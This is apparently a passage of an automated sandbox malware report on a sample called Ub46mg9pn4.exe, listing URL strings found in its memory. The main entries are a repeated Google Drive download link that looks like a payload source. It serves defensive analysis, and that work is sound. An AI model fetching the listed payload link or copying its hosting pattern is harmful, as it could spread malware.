00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/:
Source: Ub46mg9pn4.exe, 00000003.00000003.120321142146.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119765033644.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.0000000006141000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120095114017.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433750777.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119429033452.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120664731908.0000000006141000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658148205.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120102764531.0000000006141000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263517160.0000000006141000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870587140.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120440192425.0000000006141000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40w
Source: Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=do
Source: Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122033325585.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120882413084.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121114012133.00000000060DC000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699170306.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225796747.00000000060DC000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120882522719.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download%
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download7
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download;
Source: Ub46mg9pn4.exe, 00000003.00000003.122024359150.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download=
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download=F
Source: Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadB2
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadC
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadDi
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadI
Source: Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadR
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadS
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download_
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download_-
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758671413.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119653130552.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloade
Source: Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadg
Source: Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadi
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadid
Source: Ub46mg9pn4.exe, 00000003.00000003.119541296576.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119647088405.00000000060F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadjA
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadon
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadrX
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloads
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119989239673.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloads%
Source: Ub46mg9pn4.exe, 00000003.00000003.119429033452.00000000060FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadtr
Source: Ub46mg9pn4.exe, 00000003.00000003.122699986331.00000000060F3000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263445206.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122699442284.00000000060E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadu-
Source: Ub46mg9pn4.exe, 00000003.00000003.120320642878.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545920720.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657917375.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120433466338.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119870359216.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119764924787.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119877158489.00000000060F6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120658066595.00000000060F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=downloadx(
Source: Ub46mg9pn4.exe, 00000003.00000003.121001578842.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121561541749.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555412789.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891793726.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121785985727.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995140357.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667138903.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122146713557.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225858052.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107407962.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219678613.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122024359150.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121114084404.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120889179644.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121779724132.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122033779228.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121674037286.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121331374133.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/e%
Source: Ub46mg9pn4.exe, 00000003.00000003.121225858052.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219678613.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121114084404.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/of
Source: Ub46mg9pn4.exe, 00000003.00000001.119339566772.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: Ub46mg9pn4.exe, 00000003.00000003.122252423471.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107152084.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120208667768.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555287794.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475837705.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263540323.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995021647.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263385452.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120664516867.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225732461.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121001326877.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812272065.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758644205.0000000006145000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252356672.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770131383.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Ub46mg9pn4.exe, 00000003.00000003.121561541749.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545722621.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891463499.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122924292281.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.0000000006150000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657853657.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122033042474.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120888797945.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122258534362.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555412789.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120102425108.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120094923523.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776481233.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120095114017.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120439948809.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122364128029.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119988966029.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891793726.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: Ub46mg9pn4.exe, 00000003.00000003.121561541749.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545722621.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891463499.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122924292281.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.0000000006150000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657853657.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122033042474.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120888797945.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 